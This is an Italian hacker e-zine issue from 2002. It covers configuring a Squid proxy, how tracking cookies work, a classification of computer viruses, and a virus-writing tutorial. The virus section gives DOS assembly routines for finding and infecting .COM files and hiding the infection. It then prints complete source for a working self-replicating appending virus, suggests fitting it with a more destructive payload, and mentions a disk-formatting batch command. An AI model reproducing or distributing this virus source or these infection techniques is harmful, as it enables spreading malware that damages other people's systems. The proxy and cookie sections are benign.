Copy Link
Add to Bookmark
Report

Security info 2002 Vol. 4

eZine's profile picture
Published in 
Security info 2002
 · 5 years ago

Name: Security info 2002 volume 4
Ideated by: e4m
Crew: Www.bfc.too.it -
Mirror: hTtp://tWo.tUx.nU

Info:


Ritorno qui col mio notepad di fiducia a scrivere. Notepad? Sisi, mi piace molto.Mi avete scoperto sono un windowziano! :P ...Eh,no! Per questo tute vi servira' una distro Linux! Quindi munitevi! .. Mi chiederete, un quarto volume? Certo, la sicureza non esiste come ben sappiamo una macchina sicura e' una macchina spenta! Precedentemente vi ho illustrato come si comportato i "ponti" cosiddetti Wingate, dei proxy o del masqerading.
Ne abbiamo parlato molto riassuntivamente. Per questo vorrei soffermarmi sui proxy.Non guardatemi con quella faccia, c'e' molta roba da dirne a proposito.Vi insegnero' anche a configurarvene uno. Vi spieghero' cosa e' lo sQuid e tante altre cosa , inerenti e non al mondo dei proxy e bouncers. Osserveremo come agiscono i cookies e come si comportano quelle magiche bestioline chiamate ViRuS...


* Menu Volume 4:


 
+----------------------------------+
|1) Proxys & Squid |
+----------------------------------+
|2) Cookie |
+----------------------------------+
|3) Virus |
+----------------------------------+
|4) Nozioni finali |
+-----------------------------------

1) pROXYs & sQUiD


Come abbiamo potuto osservare precedentemente, i proxy non sono altro che dei bounce. Mettiamo caso di avere ben 5 computer , e solo uno di questi ha l'accesso ad internet. Vogliamo pero' sfruttare anche i quattro rimanenti! Monteremo un server proxy sulla macchina connessa ad internet, e poi setteremo sui browser delle altre macchine, come proxy, quello sulla macchina connessa ad internet appunto:

 
[Internet]
|
V
<Proxy Server> --- Computer 4
| | |
/ | \
Computer 1 | Computer 3
|
Computer 2

Dunque: Vogliamo visualizzare una pagina..."www.xoom.it",questa pagina verra' richiesta prima al Proxy Server, il quale la chiedera' successivamente al server xoom.it, e poi la rigirera al computer che la ha fatto la richiesta: Computer 1->Proxy Server->www.xoom.it->Proxy Server->Computer 1 .
Ora cosa e' lo sQuid? ( www.squid-cache.org ) e' un server proxy.Questo: http://www.itb.it/Squid/pub/squid-2/STABLE/squid-2.4.STABLE3-src.tar.gz e' il link diretto per la versione 2.4.stable3 (molto buona). Cominciamo con la fase compilazione:

 
tar xvfz squid-2.4.STABLE3-src.tar.gz
cd squid-2.4.STABLE3


Siamo nella cartella. Adesso nn resta che configurarlo per compilarlo. Eseguiamo il configure con la cartella di destinazione:

 
#./configure --prefix=/root/squid


Dopodiche':

 
#make all
#make install


e vi ritroverete i binari nella cartella da voi selezionata (/root/squid). Fin qui potevate benissimo riuscirci da soli! Ma la configurazione e' un po' complessa ma non complicata. (c'e' una grande differenza!) Consiglierei ora di crearvi un utente con permessi bassi apposta per il server, in modo da utilizzare quello per eseguirlo. E' una precauzione. Lo Squid ha una cache interna, quando effettuiamo la richiesta di un url, esso nell'operazione di bounce, crea una copia di quell'url in cache, in modo da velocizzare le richieste successive a quell'url, dandovi la copia in memoria, senza rieffettuare la richiesta al server. Bene. Ora apriamo il file squid.conf, e vediamo una configurazione basilare.
Aprite bene le orecchie...ops gli occhi!

 
*/ snip.. */

# Configurazione "fisica" del Proxy

http_port 8080 #porta in listening
cache_effective_user user #l'utente con cui viene eseguito Squid
cache_effective_group user #il gruppo con cui viene eseguito Squid
cache_mem 20 MB #memoria cache in mega
cache_dir ufs /root/squid/cache 500 10 100 #quantita' di memoria RAM da riservare per la cache e dir

# Incominciamo con le Access List,definiamo i nomi alle nostre reti

acl reteinterna src 192.168.0.0/255.255.255.255-192.168.0.10/255.255.255.255
acl localhost src 127.0.0.1/255.255.255.0


# Definiamo le porte conosciute :)

acl porteconosciute port 80 21 443 563 70

#la direttiva acl si utilizza cosi': acl <nomeacl> <tipo> <opzionirichieste>,
#percio' nel caso superiore: acl nomeacl=porteutili tipo=port leportesono=80,21,443,563,70 .
#il tipo port serve percio' a definire delle porte. Gli altri utilizzati erano


# Iniziamo la vera configurazione
#Ci sono 23 tipi diversi di Access List:src,dst,dstdomain,srcdom_regex,dstdom_regex,url_regex,urlpath_regex,port,proto,method,browser, ident,ident_regex,
#src_as,dst_as,proxy_auth,proxy_auth_regex,snmp_community,max_conn,req_mime_type e arp.
#Definiamo quello che deve e non dee passare per lo sQuid.

acl sito_proibito dstdom .hack.co.za
acl sitihack dstdom "hack.acl"
acl sex_proibito urlpath_regex sesso
acl hack_proibito urlpath_regex hack
acl sex_proibito1 url_regex sesso
acl hack_proibito1 url_regex hack
acl giorno time MTWHF 8:00-18:00


# E poi i denied (negati) e gli allow (accettati) delle nostre access list

http_access allow reteinterna
http_access allow localhost
http_access deny !porteconosciute
http_access deny sex_proibito
http_access deny sex_proibito1
http_access deny hack_proibito
http_access deny hack_proibito1
http_access deny sitihack
http_access deny !giorno

# Altre opzioni

#Parliamo adesso degli altri due tipi : url_regex e urlpath_regex

acl hack_proibito urlpath_regex hack
acl sex_proibito1 url_regex sesso

#In pratica definiamo a hack_proibito ogni elemento che abbia all'interno dell'url la parola sesso con url_regex, e a sec_proibito1 ogni url con all'interno #della path la parola sesso.

#Con time poi definiamo le fascie orarie e i giorni della settimana, dove i giorni si scrivono abbreviati, percio:

# M = Monday
# T = Tuesday
# W = Wednesday
# H = Thursday
# F = Friday
# A = Saturday
# S = Sunday

#e le fascie orarie con le fascie orarie scritte in formato 24h cioe' 1:00-12:00 e' una fascia oraria che va dall'una di notte a mezzogiorno.

acl giorno time MTWHF 8:00-18:00

#Nel nostro esempio definiamo percio' la fascia oraria che va dalle otto di mattina alle sei di sera nei giorni settimanali lavorativi: Lunedi, Martedi, #Mercoledi, Giovedi e Venerdi.

connect_timeout 180 seconds
client_lifetime 1 day

#Le ultime due opzioni connect_timeout e client_lifetime, che rispettivamente, servono a definire dopo quanto tempo di timeout Squid deve staccare la #connessione e dopo quanto tempo che Ë connesso a Squid deve essere staccata la connessione.

*/ snip.. */

Ora sapete come si comporta un proxy ,piu' o meno anche un wgate e' cosi'.

2) Cookie


Ora treattero' un argomento alquanto familiare a tutti i windowziani e non! I cOokies in maniera un po' piu' intrigante.
Un cookie e' un "biscottino" inviatoci da un server. Molte volte vengono usati per fare fuori gli utenti novellini e i porconi che zOmbettano su siti porno non applicando alcuna misura di sicurezza. Per gli utenti di Windows la cartella cookie si trova sotto C:\Windows\Cookie. Se la si apre ci troveremo di fronte ad una lista di piccoli file dalla dimensione di 1k tranne l'index di dimensioni un po' maggiori. Comunque sia sono molto piccoli e non dovrebbero mai esserci problemi di sovraccarico nel nostro hard disk a causa di questi files :) .. L'estensione dei files e' .txt quindi dei semplici files di testo, una buona notizia dato che questi files non possono trasmettere virus. Se andiamo ad esaminare i nomi dei cookie noteremo che essi hanno sempre presente dei riferimenti ai siti che abbiamo visitato in precedenza (tripod.txt, Geocities.txt.). Se incuriositi andiamo col doppio click a vedere cosa contengano questi files noteremo che essi sono composti da strane lettere incomprensibili e da una stringa che dice qualcosa. Il problema comunque non sta nel fatto che l'utente non possa conoscerne il contenuto ma che non si sappia in che modo vengano utilizzati. Quando navighiamo sul web nel nostro disco fisso vengono memorizzati pagine, immagini e files. In teoria questa procedura serve soltanto per velocizzare il nostro navigatore quando, alla seconda visita in un sito, ha gia' tutto pronto in memoria e non deve aspettare di scaricare niente dal web. I cookie hanno poco o nulla da spartire con tutto questo, loro sono dei piccoli file che riceviamo mentre navighiamo ma, cosa inquietante, possono esserci mandati, prelevati, rielaborati e di nuovo rimandati senza che ci possiamo accorgere di un bel niente. Ecco l'inghippo! ..Si tratta di un meccanismo che permette al server (tramite i CGI script) di ricevere informazioni e di scaricarle con lo scopo di estendere le possibilita' delle applicazioni basate sul rapporto tra client (il ns computer) e server. Possono essere anche utili come quando non ci costringono a ridigitare di nuovo lo UserID e la password nei siti riservati o che danno un servizio. Rimane comunque il fatto che qualche informazione esce dal nostro computer. Possono personalizzare il browser e Estrarre informazioni per ricerche di mercato o per ragioni varie.
Un biscotto puo' rimanere a lungo tempo anche nella Temporary Internet Files .Si presenta cosi': Cookie:user@sextracker.com/ dove (sextracker) cambia! A te piace essre preso per i fondelli, soprattutto quando sti sniffer ti loggano pure il numero della carta di credito?!! A noi non sta affatto bene! Cercheremo di capire come funzionano i cookie (piu' avanti..) Ora vi faro' vedere piu' precisamente come funge un cookie con uno schemino:

 
[ SkEma 1 (attivita' prima) ]

[A] [B] [C]
Client ------> Sito Con Bad Cookie -----> Tracker ------>
| |
Si collega - Recupera iP ed altre info - Spedisce un Cookie
al sito B invia al tracker C al client A


[ SkEma 2 (attivita' seconda) ]

[A] [D]
Client <--------------------> Sito Con Good Cookie
Bad Cookie ------------------------------> Sniffa Informazioni salva in Cookie: e4m@SexTracker.com/ (esempio)


[ SkEma 3 (attivita' terza) ]

[A] [B] & [C]
Client ------> [ Sito Con Bad Cookie -----> Tracker ] ---> Legge le tue news
+---------------> Spedisce Cookie "Aggiornato"

Legge news del tipo:

* Tutto quello che viene immesso in un form
* Banner Cliccati
* Siti Web
* Ip Addres
* Info sulla macchina (Mail..)
* Abitudini
* Carta Di Credito

I good Cookie sono quelli che svolgono il vero lavoro ossia (aiutare l'utente) senza infrangere la privacy! L'unica soluzione e' navigare sempre anonimamente bloccare i cOokie ..Come? Semplicemente cambiando le impostazioni del vostro Browser!

3) Virus


Ritornando al tema di Sicurezza, non ci resta che parlare un po' di VIRUS! Inteso non come una semplice batch. Infatti ricorderete anzi saprete che con la stringa '@format c: /autotest' si cancella il contenuto di c:\? Io non son daccordo! ..Non sono virus questi! Solo baggianate ..Funzionano si! Non c'e' dubbio! Ma e' sempre meglio capire come agisce un (vero) virus! Ultimamente se ne trovano di virus. 'Intrappolati in un activeX, o piu' semplicemente duiffusi in chat o nelle mail!' Ora vi faro' vedere come "creare" un virus tanto per rendervi un'idea di come si comporta un semplice file scritto in assembly. Prima pero' vi illustro il classico schemino di classificazione:

Un Troyan Horse non e' un virus come gli altri ma bensi' un programma distruttivo (una cagata di virus). Le caratteristiche che lo differenziano dagli altri virus sono che i mentre i virus cercano di rendersi invisibili (o quasi) e a replicarsi, i Troyan Horse danneggiano esplicitamente il sistema.
Il loro nome deriva dal fatto che i Troyan Horse vengono divulgati con nomi "fittizzi" ovvero vengono distribuiti con il nome di programmi molto ricercati dagli utenti.Sono relativamente semplici da 'costruire' .
Un Worm, invece, e' un tipo di virus "tecnologicamente molto piu' avanzato", esso, infatti si replica lungo le reti (internet, tanto per capirci).
E' un tipo di virus molto potente ma tuttora non esistono campioni di questo virus molto avanzati.
La causa principale e' la presenza di vari sitemi operativi (sulla rete) che non ne facilitano lo sviluppo, anche se i worm sembrano avere facile sviluppo sulle piattaforme come *nix,Linux e Java.
Floppy Boot e MBR Virus sono virus che infettano un settore particolare dei dischi, quello di avvio.
Nel disco rigido colpiscono il "Master boot Record"(ovvero il record di avviamento principale).
Ci sono numerosissimi virus che occupano questa categoria essi infettano i file eseguibili presenti nel sistema (Exe e Com). Anche questa categoria di virus e' oggi in disuso, visto l'enorme successo che riscontrano le altre tipologie di virus.
Win-Exec Virus, una categoria di virus nata da poco che infetta vari tipi di file:

 
Ne-Exe:
(NewExecutable - File exe x Win3.1 - 16bit)
Scr:
(ScreenSaver - File scr x Win3.1 - 16bit)
Pe-exe:
(PortableExe... -File exe x Win95 - 32bit)
Vxd: (molto fighi :)
(Device Driver - D. D. - File vxd x Win95 - 32bit)


Al momento, ci sono pochi virus in questa categoria.
Macro virus girano su plattaforma Mac e Win, i file che infettano sono:

Ms-Word 9x (File .doc)
Ms-Excel9x (File .xls)

e quasi tutti gli altri programmi che consentono l'uso di Macro. Questi virus vengono scritti in Visual Basic.
Companion Virus, la creazione di questi virus e' molto semplice come del resto anche la loro eliminazione.
Il comportamento di questi virus e' molto semplice: Sfruttano la priorita' d'esecuzione dei .com .
Virus Tsr, questa e' un atipologia di virus molto avanzata, essa infatti consiste nel far avere al virus priorita' su tutto, perfino sul sistema operativo stesso.
Virus Stealth, ne scriveremo uno simile,Simile alla categoria precedente i virus Stealth riescono a prendere il controllo delle funzioni base del Dos e ad eliminare ogni sintomo dell'infezione che Ë avvenuta. La categoria Stealth ha ancora tre ulteriori suddivisioni:
*Size Hiding:
Se il virus e' lungo 100 kb, la dimensione di tutti i file che verranno infettati verra' aumentata di 100Kb. Rende difficile la sua identificazione grazie all'identificazione del comando "dir", quindi il virus sottrae il valore aggiunto in precedenza facendoli cosÏ non sembrare infetti.

*Mbr Stealth:
Questa e' la categoria che infetta l' Mbr (Master Boot Record),salva una copia del vecchio Master e la restituisce quando un Antivirus va a leggere l' Mbr in modo da non non rendere "visibile" l'infezione.
*Clean On-The-Fly: Ottima tipologia di virus che utilizza un sistema molto utile per non essere identificato, infatti questi virus intercettano l'operazione di lettura dei file infetti e prima che questi vengano letti li ripulisce facendo sembrare non infetti i file al controllo, poi una volta controllato il file il virus procede a reinfettarlo.
C'e' da dire che possiamo fare cio' che vogliamo,ci serve fantasia e le minime regole di programmazione assembler. Tratteremo gli "appending viruses", cioe' quelli che si agganciano alla fine del file senza distruggerlo. Se ne trovano pochi oramai di '.com' ,ma a noi non importa.
Un virus (vero) e' composto principalmente da due parti : il replicatore e la cosiddetta "bomb". Il replicatore e' quella parte del programma virus che permette a quest'ultiumo di replicarsi in modo da infettare quanti pi˘ file possibile, la bomb e' la parte piu' divertente ed e' quella che svolge l'operazione per cui e stao designato il virus questa va dalla semplice visualizzazione di un messaggio alla distruzione della FAT area, dipende solo dalla fantasia del programmatore,come vi dicevo prima.

-iL rEPLICATORE-
Il compito del replicatore come abbiamo gia' detto e' quello di duplicarsi infettando altri files.
Come si puo' fare? Consideriamo un pgm (.COM) esso puo' essere scomposto in 2 parti:

 
+---+-----------+
|P1 | P2 | vittima.com
+---+-----------+


Anche il virus essendo un pgm puo' essere cosi diviso:

 
+---+---------+
|V1 | V2 | virus.com
+---+---------+


I passi che il virus deve eseguire per replicarsi sono i seguenti:

1.Il virus salva P1 in fondo al file vittima.com e al suo posto ci copia V1, avremo la seguente situazione:

 
+---+------------+---+
|V1 | P2 |P1 |
+---+------------+---+


2.Ora il virus copia la seconda parte (V2) in fondo al file:

 
+---+-------------+---+---------+
|V1 | P2 |P1 | V2 |
+---+-------------+---+---------+


Vi starete chiedendo che cakkio c'e' dentro V1 e V2. Il compito di V1 e' quello di passare il controllo a V2 e consiste in un salto, cosi' quando eseguo il programma infetto la prima cosa che si fa e' saltare al codice del virus contenuta in V2. Una volta eseguito V2 il controllo torna al programma.
Semplice vero? Beh non proprio. Vediamo meglio quali sono i passi che deve svolgere il replicatore per infettare un file:

1.Cerca il file da infettare
2.Controlla se e' gia' infetto
3.Se si torna a 1
4.Se no Infettalo
5.Torna a 1 oppure esci se na hai abbastanza

Vediamole nel dettaglio:

-pRIMO pASSO-

Cerco il file da infettare
Si puo' decidere se cercare i file solo nella directory corrente oppure cambiare dir. per avere piu' possibilita' di diffondersi. Cercare in piu' directory puo' rallentare l'esecuzione del programma al quale e' attaccato e puo' quindi sollevare sospetti nell'utente, quindi state attenti. Per cercare un file devo risorrere al DTA (Disk Transfer Area) che e' una struttura del DOS (Andatela a vedere in qualche Tech. Ref.), il codice puo' essere una cosa del tipo:

 
mov ah,1Ah ;Prende il DTA e lo mette in
lea dx,[bp+OFFSET DTA] ;una variabile di nome DTA (!!)
int 21h

mov ah,4Eh ;cerca il primo file
mov cx,0007h ;Qualsiasi attributo
lea dx,[bp+OFFSET file_mask];DS:[DX] --> file_mask
int 21h
jc non_trovato ;non l'ha trovato

ancora: call controlla_infezione ;guarda se e' gia infetto e se non lo
;e' lo infetta
mov ah,4Fh ;cerca il prox
int 21h
jnc ancora
non_trovato:

In questo frammento file_mask puo' essere '*.*' '*.EXE' o come useremo noi '*.COM'.
Ora sappiamo come iniziare,cercare il file , ora vedremo se gia' e' infetto.


-sECONDO pASSO-
Un metodo abbastanza semplice per sapere se un file E' gia' infetto o meno e' di memorizzare un ID durante l'infezione in modo da poterlo trovare la volta
successiva.
Ad esempio:

 
mov ah,3Fh ;legge i primi 4 byte del file
mov cx,4 ;e li mette in buffer
lea dx,[bp+OFFSET buffer]
int 21h

cmp byte ptr [buffe+3],ID_Byte ; controllo il 4 byte
je gia_fatto ;se sono uguali e' gia' infettovinfettalo:....


Un altro modo piu' complesso e' quello di cercare una serie di istruzioni caratteristiche del virus.


-tERZO pASSO-
Questa e' la parte piu' difficile e importante: il cuore del replicatore. Una volta trovato il file da infettare si devono salvare i suoi attributi, la data, l'ora e la dimensione. Questi dati si trovano nel DTA come spiegato nella tabella seguente:

 
Offset Dimensione Significato
-------------------------------------------
0h 21 bytes Riservati (?)
15h byte Attributi del file
16h word ora
18h word data
20h dword dimensione
1Eh 13bytes nome(ASCIIZ) + estensione

Come vedete nel DTA si trovano tutte le info necessarie, e per salvarle basta:

 
lea si,[bp+OFFSET DTA+15]
mov cx,9
lea di,[bp+OFFSET f_attr]
rep movsb
;varibili:
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?


Per poter infettare i file di systema, quelli nascosti ecc... dovete resettare' gli attributi tramite l'interrupt 21h,43h,01h. Una volta fatto cio' potete aprire il file in lettura/scrittura ed effettuare l'infezione. Dopo aver infettato il file ( e lo vedremo nel dettaglio con un esempio) e' importante cancellare le tracce dell'infezione ripristinando la data e l'ora e reimpostando gli attributi originali:

 
mov ax,57,01h
mov dx,WORD PTR [bp+f_date]
mov cx,WORD PTR [bp+f_time]
int 21h ;ripristina data e ora

mov ah,4301h
lea dx,[bp+OFFSET DTA + 1Eh]
xor ch,ch
mov cl,BYTE PTR [bp+f_attrib]
int 21h ;ripristina gli attributi


Per rendere il tutto piu' facile vi pasto un mega virus dell'uomo-asm il mitico b0nu$ :

 
;virus.asm - b0nu$, 1997
;NB - Non mi assumo responsabilit‡ sui danni causati da un uso incorretto di
;questo pgm.
;
;Si attiva solo nel mese di Dicembre e visualizza gli auguri di Natale :)))

code segment byte public
assume cs:code,ds:code,es:code,ss:code

org 100h ;file .COM

start:
db 0E9h,0,0 ;Salta al prox comando

virus:
call inizio ;Salva l'indirizzo nello stack
inizio:
pop bp ;Setta BP
sub bp,offset inizio
lea si,[bp+offset oldjump] ;Indirizzo vecchio
mov di,100h

;Salvo dove metterlo
push di ;cosi possiamo ritornare
movsb
movsb
movsb

lea dx,[bp+offset dta] ;Indirizzo del nuovo DTA

mov ah,1ah ;setta il DTA!!
int 21h

lea dx,[bp+offset comfilespec]
call findfirst ;cerca e infetta i file .com

call get_month ;Controlla in che mese siamo
cmp ax,000Ch ;E' 12?
jne skip ;Se no salta gli auguri
jmp short strt ;Si Ë Dicembre !
skip: jmp dend ;Salta la routine
strt: lea si,[bp + testo] ;SI punta al testo da scrivere
mov ah,0Eh ;Uso l'int 10h,0Eh per stampare

disp: lodsb ;Carico il carattere
or al,al ;Se Ë 0 Ë finita
je dend
int 010h ;visualizzo il car
jmp short disp ;prendo il prox carattere

dend:

mov dx,80h ;Indirizzo del DTA originale
;Lo rimetto dov'era
mov ah,1ah ;setta il DTA!!
int 21h

retn ;Ritorno al pgm

findfirst:
mov ah,4eh ;trova il primo file
mov cx,7 ;con questi attributi

findnext:
int 21h ;Trovo il prox
jc quit ;Se non trovo niente smetto

call infection ;Altrimenti infetto

Findnext2:
mov ah,4fh ;Cerco il prox
jmp findnext ;Ciclo

quit:
ret ;stop!

infection:
mov ax,3d00h ;Apro il file in lettura
call open


mov cx,1ah
lea dx,[bp+offset buffer] ;salvo i dati
mov ah,3fh ;Leggo
int 21h

mov ah,3eh ;chiudo il file
int 21h


CheckCom:
mov bx,[bp+offset dta+1ah] ;Prelevo la dimensione
mov cx,word ptr [bp+buffer+1] ;prelevo l'indirizzo del salto
add cx,eof-virus+3 ;e ci sommo la lunghezza del
;virus

cmp bx,cx ;controllo dimensione
jz quitinfect
jmp infectcom

quitinfect:
ret

InfectCom:
sub bx,3 ;setto per il nuovo salto
lea di,[bp+oldjump]
lea si,[bp+buffer]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ;salvo

mov cx,3 ;numero di byte da scrivere

jmp finishinfection
FinishInfection:
push cx ;salvo il numero di byte
;da scrivere
xor cx,cx ;azzero attributi
call attributes

mov al,2 ;apro il file in lett/scritt
call open


lea dx,[bp+buffer] ;dx punta ai dati
pop cx ;cx=numero byte
mov ah,40h ;scrivo
int 21h
jc closefile

mov al,02 ;sposto il puntatore in fondo
Call move_fp


mov cx,eof-virus ;dimensione virus
lea dx,[bp+offset virus] ;indirizzo di inizio
mov ah,40h ;scrivo il virus
int 21h

closefile:
mov ax,5701h ;ripristina ora e data
mov dx,word ptr [bp+dta+18h]
mov cx,word ptr [bp+dta+16h] ;sono ne DTA!!
int 21h

mov ah,3eh ;chiudo il file
int 21h

xor cx,cx
mov cl,byte ptr [bp+dta+15h] ;Prendo i vecchi attrib.
call attributes

retn

move_fp:
;muove il puntatore
xor cx,cx ;del file ad al
xor dx,dx ;
mov ah,42h
int 21h
retn

open:

lea dx,[bp+DTA+30] ;il nome Ë nel DTA
mov ah,3dh ;apre il file
int 21h
xchg ax,bx ;bx contine l'handle
ret

attributes:

lea dx,[bp+DTA+30]
mov ax,4301h ; setta gli attrib.
int 21h
ret


get_month proc near
mov ah,02Ah ;Preleva la data
int 021h
mov al,dh ;al=mese
cbw ;estende ad ax
ret
get_month endp


testo db 13,10,13,10,"Boun Natale a tutti !!!",13,10,0

comfilespec db '*.com',0 ;file da cercare
oldjump db 090h,0CDh,020h ;Vecchio jump

eof equ $ ;Segna la fine del file

buffer db 1Ah dup(?)
dta db 42 dup(?)

code ends
end start

Bello vero? Questo e' semplice ed innocuo, ma provate ad applicare una bomb diversa a tutti gli exe... (non fatelo!!!)...Credo di aver gettato le basi giuste per darvi uno spunto su come agiscono i virus, inoltre e' anche servito come approfondimento della programmazione!

4) Nozioni finali


Anche questo Tutorial si chiude qui, questo non significa che la saga Security Info debba chiudersi qui...Credo di essere stato esaudiente parlando di Programmazione, virus, cookie, gates, proxy, mask, algoritmi, codifiche. E' alcquanto brutto e ripetitivo di parlare di sicurezza inteso come server etc.. esistono sin troppi testi che parlano di bug exploitazioni etc..comunque se volete testare il vostro server non mi resta che illustrarvi il nostro (e4m SlaSh) ultimo progetto:TwOtUx sEcuRiTy ScaNNer : hTtp://tWo.tUx.nU ;

e4m
-=bFc MembERz=-
[ wWw.bFc.tOo.it ]
Tezkatlipoka@libero.it

← previous
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT